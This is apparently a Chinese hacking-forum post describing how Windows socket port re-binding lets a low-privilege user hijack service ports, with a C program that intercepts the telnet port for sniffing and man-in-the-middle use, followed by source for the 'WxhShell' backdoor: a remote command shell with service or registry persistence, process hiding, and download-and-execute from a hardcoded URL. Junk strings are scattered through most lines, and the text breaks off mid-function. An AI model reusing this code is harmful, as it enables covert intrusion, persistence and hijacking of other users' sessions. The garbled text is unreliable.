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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eOb`uyi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pA2U+Q@  
oK>,MdB  
  saddr.sin_family = AF_INET; p#kC#{<nE  
C/ bttd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TQou.'+v  
2*M*<p=v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x\%eg w  
r~TT c)2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MXy{]o_H~  
aI<~+]  
  这意味着什么?意味着可以进行如下的攻击: (g Z!o_  
!2Orklzd1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A0XFu}  
JVkawkeX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sa`Yan  
S|[UEU3FpB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Z7!9+<  
 g{%';  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   UyQn onS  
o;[oy#aWl_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &0g,Xkr  
]VvJ1Xn0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1@WGbORc*  
82X.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^Toi_  
R+K[/AA  
  #include #RF=a7&F  
  #include ^6+x0[13  
  #include #jX>FXo  
  #include     xYT.J 6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &Yg/ 08*  
  int main() %gaKnT(|r  
  { AVp [gr  
  WORD wVersionRequested; wLtTC4D  
  DWORD ret; D}T, z  
  WSADATA wsaData; ]c)SVn$6  
  BOOL val; BGX@n#:  
  SOCKADDR_IN saddr; h,x]  
  SOCKADDR_IN scaddr; fDd!Mt  
  int err; <IVz mzpL  
  SOCKET s; z7q2+;L  
  SOCKET sc; (5> ibe  
  int caddsize; o$O,#^  
  HANDLE mt; >-P0wowL  
  DWORD tid;   GHy#D]Z  
  wVersionRequested = MAKEWORD( 2, 2 ); k 3 l  
  err = WSAStartup( wVersionRequested, &wsaData ); f[I c hCwX  
  if ( err != 0 ) { i.sq^]j  
  printf("error!WSAStartup failed!\n"); guv@t&;t0  
  return -1; 0R& U18)y  
  } z(3"\ ^T  
  saddr.sin_family = AF_INET; 8|({ _Z  
   vrzX%'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `xUPML-  
-Q6pV<i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f[b YjIX  
  saddr.sin_port = htons(23); T Rw6$CR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Aq!['G  
  { S F>D:$a  
  printf("error!socket failed!\n"); LzRiiP^q  
  return -1; O@iW?9C+  
  } CWp1)% 0=  
  val = TRUE; yUO|3ONT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 { ZX C%(u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PoJ$%_a}  
  { $hSZ@w|IF  
  printf("error!setsockopt failed!\n"); :,m)D775S  
  return -1; BuTIJb+Q\  
  } H |UL5<:]D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %z~U@Mka  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^d80\PXz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :eW~nI.Vc  
P0xLx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !dY:S';~  
  { bZ.N7X PH  
  ret=GetLastError(); +ZKhmb!  
  printf("error!bind failed!\n"); au|^V^m  
  return -1; d|]O<]CG_  
  } C8EC?fSQ  
  listen(s,2); /\rq$W_  
  while(1) s.`d<(X?  
  { T3./V0]\I  
  caddsize = sizeof(scaddr); 8[)]3K x  
  //接受连接请求 vo(NB !x$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |QLX..  
  if(sc!=INVALID_SOCKET) L\NZDkd  
  { / w M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~lqGnNhh 7  
  if(mt==NULL) 5L}>+js2  
  { 5lnSa+_/f  
  printf("Thread Creat Failed!\n"); nud=uJ"(  
  break; iIaT1i4t.  
  } 9T2A)a]0  
  } _-]!;0E IV  
  CloseHandle(mt); *W12Rb2  
  } o^Ysp&#p  
  closesocket(s); v Q"s  
  WSACleanup(); -fJ@R1]  
  return 0; ~AanU1U<  
  }   cTd;p>:>m  
  DWORD WINAPI ClientThread(LPVOID lpParam) O[)]dD&'  
  { cmhN(==  
  SOCKET ss = (SOCKET)lpParam; c%@~%IGF  
  SOCKET sc; {|Ki^8h/p  
  unsigned char buf[4096]; (YHvGGr  
  SOCKADDR_IN saddr; GWhAjL/N  
  long num; [Cj}nld   
  DWORD val; >}b6J7_  
  DWORD ret; IzdTXc f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tRnW%F5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3g [j%`k  
  saddr.sin_family = AF_INET; p*`SGX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^Opy6Bqb  
  saddr.sin_port = htons(23); GrR0RwnH)?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tx5T^K7[  
  { oNB,.:  
  printf("error!socket failed!\n"); ?[VpN2*  
  return -1; ej%;%`C-  
  } ^ Wfgwmh  
  val = 100; ]A72) 1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^qO=~U!{  
  { 8A^jD(|  
  ret = GetLastError(); /;&+ < }  
  return -1; 8a`+h#  
  } vA"niO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \c~{o+UD-  
  { knOn UU  
  ret = GetLastError(); rN1U.FRe/  
  return -1; - SS r  
  } ~ sIGI?5f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B>Cs&}Y!  
  { xs'kO=  
  printf("error!socket connect failed!\n"); O R<"LTCL  
  closesocket(sc); {^2W>^  
  closesocket(ss); 4r[pMJiq  
  return -1; :X1cA3c!  
  } b"nG-0JR  
  while(1)  (X(1kj3  
  { T5S g2a1&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xN3 [Kp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $iqi:vY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %gu$_S  
  num = recv(ss,buf,4096,0); L; q)8Pb  
  if(num>0) :%#r.p"6x  
  send(sc,buf,num,0); 3XwU6M$5g  
  else if(num==0) ^'&iYV  
  break; oY%"2PW1B  
  num = recv(sc,buf,4096,0); a1G9wC:e  
  if(num>0) ')5L_$  
  send(ss,buf,num,0); J4G> E.8  
  else if(num==0) lMwk.#  
  break; [.;%\>Qk<  
  } Kr/h`RM  
  closesocket(ss); N(:nF5>_  
  closesocket(sc); mT6q}``vtG  
  return 0 ; /e|[SITe  
  } Jf?S9r5Q  
Er"R;l]xJ  
K)/!&{7n}a  
========================================================== %e Sm&`  
lMBX!9z  
下边附上一个代码,,WXhSHELL \ I^nx+l  
-4e) N*VVu  
========================================================== 9K;k%  
N&fW9s}  
#include "stdafx.h" *O+R|Cdp/  
K lli$40  
#include <stdio.h> rToaGQh  
#include <string.h> "[*S?QO(L  
#include <windows.h> /WgPXEB  
#include <winsock2.h> =Y &9 qt  
#include <winsvc.h> ?aFr8i:)M  
#include <urlmon.h> BFMS*t`  
5 [ ,+\  
#pragma comment (lib, "Ws2_32.lib") 0{?: FQ#  
#pragma comment (lib, "urlmon.lib") <E>7>ZL  
D[89*@v  
#define MAX_USER   100 // 最大客户端连接数 ZT) !8  
#define BUF_SOCK   200 // sock buffer e^k!vk-SLF  
#define KEY_BUFF   255 // 输入 buffer ;Y'8:ncDn  
nAo8uWG  
#define REBOOT     0   // 重启 d"B@c;dD  
#define SHUTDOWN   1   // 关机 J}Qs"+x  
]8$#qDS@  
#define DEF_PORT   5000 // 监听端口 rH$eB/#F  
|*^8~u3J"  
#define REG_LEN     16   // 注册表键长度 uW}Hvj;0a*  
#define SVC_LEN     80   // NT服务名长度 URYZV8=B~  
=U4f}W;  
// 从dll定义API &|Lh38s@$#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K,f* SXM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \G$QNUU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @[MO,J&h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +"cRhVR  
+ a-wv  
// wxhshell配置信息 C-llq`(d  
struct WSCFG { 7hB#x]oQo  
  int ws_port;         // 监听端口 59{;VY81  
  char ws_passstr[REG_LEN]; // 口令 k"">2#V  
  int ws_autoins;       // 安装标记, 1=yes 0=no I&L.;~  
  char ws_regname[REG_LEN]; // 注册表键名 U^%9 )4bj  
  char ws_svcname[REG_LEN]; // 服务名 rO/a,vV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "^;#f+0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H LjvKE=W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $!!R:Wn/R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \U/v;Ijf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fL!V$]HNt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,~(|p`  
QVIcb ;&:}  
}; In f9wq\  
9s! 2 wwh  
// default Wxhshell configuration Q  |  
struct WSCFG wscfg={DEF_PORT, 8y$5oD6g9  
    "xuhuanlingzhe", m</]D WJ  
    1, }>2t&+v+  
    "Wxhshell", gaQ[3g  
    "Wxhshell", w{PUj  
            "WxhShell Service", L-#e?Y}$J  
    "Wrsky Windows CmdShell Service", (O$}(Tn  
    "Please Input Your Password: ", D=$4/D:;  
  1, \B_i$<Sz  
  "http://www.wrsky.com/wxhshell.exe", zhNQuK,L  
  "Wxhshell.exe" ?-e7e %  
    }; SOVj Eo4'3  
}N?g|  
// 消息定义模块 wHx}U M"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?RHn @$g8M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'X9AG6K1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lM>.@:  
char *msg_ws_ext="\n\rExit."; :-z&Y492  
char *msg_ws_end="\n\rQuit."; rwy+~  
char *msg_ws_boot="\n\rReboot..."; H4t)+(:D'  
char *msg_ws_poff="\n\rShutdown..."; Zr=ib  
char *msg_ws_down="\n\rSave to "; d$pYo)8o({  
^f9>l;Lb  
char *msg_ws_err="\n\rErr!"; 8qn 9|  
char *msg_ws_ok="\n\rOK!"; OY:u',T  
Us'Cs+5XcG  
char ExeFile[MAX_PATH]; 4S tjj!ew  
int nUser = 0; iHPUmTus--  
HANDLE handles[MAX_USER]; ~p:?QB>1]  
int OsIsNt; 6 jmrD  
yq?]V7~  
SERVICE_STATUS       serviceStatus; kd yAl,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Tr~sieL  
rWA6X DM7  
// 函数声明 I?B,sl_w  
int Install(void); 80C(H!^  
int Uninstall(void); kVd5,Qd  
int DownloadFile(char *sURL, SOCKET wsh); 0Z"s_r}h  
int Boot(int flag); jgG$'|s}  
void HideProc(void); u^t$ cLIZ  
int GetOsVer(void); c&E]E(  
int Wxhshell(SOCKET wsl); (~JwLe@a  
void TalkWithClient(void *cs); ;`DD}j`  
int CmdShell(SOCKET sock); ?\ZL#)hr"p  
int StartFromService(void); 'r\ 4}Ik  
int StartWxhshell(LPSTR lpCmdLine); %,0%NjK  
OVZP x%a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S#tY@h@XV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6ZcXS  
oe9lF*$/  
// 数据结构和表定义 Hfh!l2P  
SERVICE_TABLE_ENTRY DispatchTable[] = fN@{y+6  
{ [ 7g><  
{wscfg.ws_svcname, NTServiceMain}, >%u@R3PH]  
{NULL, NULL} AotCX7T2T  
}; 6#U^< `  
/'ZKST4  
// 自我安装 ow/U   
int Install(void) 802H$P^ps  
{ V C-d0E0  
  char svExeFile[MAX_PATH]; =>qTNh*'  
  HKEY key; Us]=Y}(  
  strcpy(svExeFile,ExeFile); M diw Ri  
b?8)7.{F{  
// 如果是win9x系统,修改注册表设为自启动 4ZwKpQ6  
if(!OsIsNt) { \w%@?Qik  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "N 3)Qr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <`)iA-Df;9  
  RegCloseKey(key); L_Q S0_1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (!3;X"l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hkege5{  
  RegCloseKey(key); -}P7$|O &  
  return 0; ]W/>Ldv  
    } 9gy(IRGq/  
  } zyFUl%  
} L0L2Ns  
else { M/pMs 6  
a7#?h%wf  
// 如果是NT以上系统,安装为系统服务 eklgLU-+fW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0OnV0SIL  
if (schSCManager!=0) vQ1 v# Z  
{ nn+_TMu  
  SC_HANDLE schService = CreateService u#@RM^738d  
  ( {e"dm5  
  schSCManager, (5a1P;_Y  
  wscfg.ws_svcname, rQb7?O@-  
  wscfg.ws_svcdisp, ; b*i3*!g  
  SERVICE_ALL_ACCESS, Y%@hbUc}x9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eVJ^\z:4  
  SERVICE_AUTO_START, GSi>l,y'  
  SERVICE_ERROR_NORMAL, $=)gpPT  
  svExeFile, ?IF)+]  
  NULL, jo9gCP.  
  NULL, lyv4fP  
  NULL, >P=Q #;v  
  NULL, ;SY\U7B\  
  NULL aJzLrX  
  ); y t5H oy  
  if (schService!=0) -DjJ",h( $  
  { ,6{iT,~@8  
  CloseServiceHandle(schService); JeCg|@  
  CloseServiceHandle(schSCManager); v-Qmx-N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wNYg$d0M  
  strcat(svExeFile,wscfg.ws_svcname); __Nv0Ru  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S\*`lJzPM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E=$p^s  
  RegCloseKey(key); %S \8.  
  return 0; x`%JI=q  
    } SwW['c'*]B  
  } b?T  
  CloseServiceHandle(schSCManager); oyvKa g  
} t~hTp K*  
} Gh\q^?}  
=r 9r~SR#  
return 1; KC#/Z2A|<  
} Kr-G{b_Pp  
WQ6"0*er  
// 自我卸载 !)pdamdA  
int Uninstall(void) O9"/ kmB  
{ k~.&j"K  
  HKEY key; aG%, cQ1  
'e!J06  
if(!OsIsNt) { JSr$-C fH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qdf=XG5  
  RegDeleteValue(key,wscfg.ws_regname); S1S;F9F  
  RegCloseKey(key); = 1.9/hW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bt$)Xu<R  
  RegDeleteValue(key,wscfg.ws_regname); y*23$fj(  
  RegCloseKey(key); ?LK 2g  
  return 0; [yS#O\$'e  
  } 1P(&J  
} U;q];e:,=}  
} p B;3bc  
else { SF*n1V3hx  
nNt1C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _iV]_\0W2  
if (schSCManager!=0) 5jxQW ;  
{ Sa1 l=^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tjT>VwqH  
  if (schService!=0) DA&?e~L&H  
  { m3<+yz$!r  
  if(DeleteService(schService)!=0) { @]aOyb@  
  CloseServiceHandle(schService); Z\}K{#   
  CloseServiceHandle(schSCManager); TuDE@ gq(  
  return 0; CQh,~  
  } $%R$ G`.KM  
  CloseServiceHandle(schService); /FP5`:PfL  
  } 26vp1  
  CloseServiceHandle(schSCManager); Y!J>U  
} wV\gj~U;P  
} ={>Lrig:l  
ma'FRt  
return 1; ,\2:/>2  
} E.|-?xQ6  
YH&bD16c3  
// 从指定url下载文件 9o*,P,j'}  
int DownloadFile(char *sURL, SOCKET wsh) 6(d}W2GP  
{  ,Uhb  
  HRESULT hr; >9e(.6&2XZ  
char seps[]= "/"; G6@M&u5RT  
char *token; =L;] ;i  
char *file; I`KQ|h0%  
char myURL[MAX_PATH]; w }^ I  
char myFILE[MAX_PATH]; ?`zXLY9q7  
} :=Tm]S  
strcpy(myURL,sURL); n_ lo`  
  token=strtok(myURL,seps); &e-U5'(6v_  
  while(token!=NULL) r%:+$aIt  
  { h\v'9  
    file=token; 1$qh`<\  
  token=strtok(NULL,seps); ,1OyN]f3  
  } c:Wze*vI ;  
om?-WJI  
GetCurrentDirectory(MAX_PATH,myFILE); |sRipWh  
strcat(myFILE, "\\"); )q7UxzE+  
strcat(myFILE, file); m<FOu<y  
  send(wsh,myFILE,strlen(myFILE),0); 8#!i[UF dj  
send(wsh,"...",3,0); 5%sE] Y#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2MZCw^s>  
  if(hr==S_OK) Vq;dJ%sY  
return 0; 4vBL6!z:Z  
else b)(?qfXWP  
return 1; ?v>ET2wD  
-46C!6a  
} J+d1&Tw&  
ok|qyN+  
// 系统电源模块 Z R/#V7Pj  
int Boot(int flag) fd-q3 _f  
{ OO[F E3F  
  HANDLE hToken; -'~ LjA(  
  TOKEN_PRIVILEGES tkp; <! )**  
S26MDLk`R3  
  if(OsIsNt) { ~/.7l8)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $!&*xrrNM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); orOt>5}b<  
    tkp.PrivilegeCount = 1; y ]?V~%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5j~$Mj`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Na X   
if(flag==REBOOT) { ?QE,;QtpK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |2{wG 4  
  return 0; >4t+:Ut:  
} ?-^~f  
else { OS8q( 2z?s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (?nCy HC%g  
  return 0; _h}kp\sps  
} `ZC<W]WYX/  
  } /0Ax*919j  
  else { c("_bOAT  
if(flag==REBOOT) { S)D nPjN{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pb~pN  
  return 0; dAy?EO0\7  
} KtNY_&xd  
else { )7h$G-fe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %2v4<icvq  
  return 0; l ok=  
} \L"kV!>  
} )ZN|t?|  
qvPtyc^fN  
return 1; Z?\>JM >;  
} B ~OZ2-~  
720DV +o  
// win9x进程隐藏模块 R?]02Q  
void HideProc(void) `]%|f  
{ 8 @tV9+u  
kh`"WN Nt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eH{[C*  
  if ( hKernel != NULL ) 8YbE`32  
  { AvW:<}a,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2k=# om19  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qjb:WC7he  
    FreeLibrary(hKernel); .0es 3Rj  
  } )= =Jfn y  
#'y#"cmQ.  
return; 4ecP*g  
} <)3u6Vky9  
0=?<y'=  
// 获取操作系统版本 @Z12CrJ  
int GetOsVer(void)  P Y  
{ t2)rUWg  
  OSVERSIONINFO winfo; 5k.oW=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P?k0zwOlBl  
  GetVersionEx(&winfo); ]UmFhBR-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sIy^m}02  
  return 1; >6?__v]9G  
  else 62zYRs\Y)X  
  return 0; 1u:< 25  
} =|Y,+/R?  
}"|K(hq  
// 客户端句柄模块 , 'u W*kx  
int Wxhshell(SOCKET wsl) h D/*h*}T>  
{ adR)Uq9  
  SOCKET wsh; 3xaR@xjS  
  struct sockaddr_in client; cH&J{WeZa  
  DWORD myID; -[wGX}}  
aJ>65RJ^=  
  while(nUser<MAX_USER) lz?$f4TzA  
{ S Em Q@1  
  int nSize=sizeof(client); | AozR ~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N(Tz%o4  
  if(wsh==INVALID_SOCKET) return 1; @"^0%/2-  
hbY5l}\5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N'GeHByIT  
if(handles[nUser]==0) .?loO3 m  
  closesocket(wsh); :s7m4!EF  
else \hx1o\  
  nUser++; &__es{;P  
  } ^y<<>Y'I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xjKR R?  
G U( _  
  return 0; `)_dS&_\  
} 6;ixa hZV  
TOB]IrW  
// 关闭 socket G6$kv2(k`@  
void CloseIt(SOCKET wsh) ;5659!;  
{ .N ,3 od@  
closesocket(wsh); AT2nVakL  
nUser--; zdYy^8V|z  
ExitThread(0); =\H!GT  
} d^{RQ   
|Uc_G13Y{D  
// 客户端请求句柄 xe^Gs]fm  
void TalkWithClient(void *cs) J1C3&t}  
{ gaZu;t2u  
KbA?7^zo`  
  SOCKET wsh=(SOCKET)cs; n $$SNWgM  
  char pwd[SVC_LEN]; d?A 0MKnl  
  char cmd[KEY_BUFF]; YoBDvV":@  
char chr[1]; s~5[![1 K  
int i,j; x-^`~ p  
z=q3Zo  
  while (nUser < MAX_USER) { iO|se:LY<  
wk5s)%V  
if(wscfg.ws_passstr) { ^ hZ0IM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )b)-ZS7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xc=b |:A  
  //ZeroMemory(pwd,KEY_BUFF); ^")Q YE  
      i=0; lh7jux  
  while(i<SVC_LEN) { Nn!+,;ut  
Y 0d<~*  
  // 设置超时 t gI{`jS%  
  fd_set FdRead; TFlet"ge=  
  struct timeval TimeOut; j+$rj  
  FD_ZERO(&FdRead); X-K=!pET  
  FD_SET(wsh,&FdRead); H4:`6 PSL  
  TimeOut.tv_sec=8; au: fw  
  TimeOut.tv_usec=0; /_I]H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UQ?XqgUM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ya3C#=  
(k5We!4[1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -p]1=@A<}  
  pwd=chr[0]; $w2u3 -  
  if(chr[0]==0xd || chr[0]==0xa) { |}BL F  
  pwd=0; \Q0[?k  
  break; 2mVD_ s[`  
  } |H;F7Y_  
  i++; Qz5sxi  
    } ZX9TYN  
J;.wXS_U8  
  // 如果是非法用户,关闭 socket 4|riKo)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 49GkPy#]L=  
} .F   
"{@A5A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RP[{4 Q8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); le/,R@]B9  
,(qRc(Ho  
while(1) { 9g'LkP  
?XrQ53  
  ZeroMemory(cmd,KEY_BUFF); ;oW6 NJ  
mF*2#]%dx  
      // 自动支持客户端 telnet标准   0D\#Pq v  
  j=0; }X)&zenz  
  while(j<KEY_BUFF) { ,':fu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  P5a4ze  
  cmd[j]=chr[0]; Mo?~_|}  
  if(chr[0]==0xa || chr[0]==0xd) { V58wU:li  
  cmd[j]=0; JTO~9>$ B  
  break; de.&`lPRf  
  } nAW:utTB  
  j++; %b&". mN  
    } p>RNPrT  
Ta ?_5  
  // 下载文件 }vxw*8d?  
  if(strstr(cmd,"http://")) { UO0{):w>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iU$] {c2;A  
  if(DownloadFile(cmd,wsh)) {.?ZHy\Rk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *H"B _3<n  
  else -]/I73!b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #lmB AL~3  
  } t<#mP@Mz=N  
  else { ^Cu\VV  
Aw$x;3y  
    switch(cmd[0]) { zi|+HM  
  F U_jGwD  
  // 帮助 `q}I"iS  
  case '?': { zMbN;tu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @L<*9sLWh  
    break; 7Ri46Tkt  
  } Xe6w|  
  // 安装 ~ {E'@MU  
  case 'i': { 1O/+8yw  
    if(Install()) R;s?$;I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~c@^!  
    else sGy eb5c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bLlKe50  
    break; ~ELNyI11  
    } 2`7==?  
  // 卸载 GPkmf%FJ  
  case 'r': { 2D75:@JL}|  
    if(Uninstall()) xHL( !P F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"}k! 0m  
    else EYtL_hNp}I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cii_U=   
    break; -~s!73pDY  
    } Rp.Sj{<2  
  // 显示 wxhshell 所在路径 zL$@`Eh-KP  
  case 'p': { z.7cy@N6  
    char svExeFile[MAX_PATH]; f[<m<I  
    strcpy(svExeFile,"\n\r"); B:5Rr}eY+  
      strcat(svExeFile,ExeFile); )WRLBFi3  
        send(wsh,svExeFile,strlen(svExeFile),0); *W.C7=  
    break; <;vbsksZeH  
    } f,h J~  
  // 重启 h].<t&  
  case 'b': { "$#xK|t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @Z*W  
    if(Boot(REBOOT)) Dd'm U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.Chl$)<  
    else { E(O74/2c8  
    closesocket(wsh); oe%} ?u  
    ExitThread(0); L^E[J`  
    } Z,sv9{4r  
    break; -}nxJH)  
    } $G8E 3|k  
  // 关机 S{]x  
  case 'd': {  3,p]/Z_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +MR.>"  
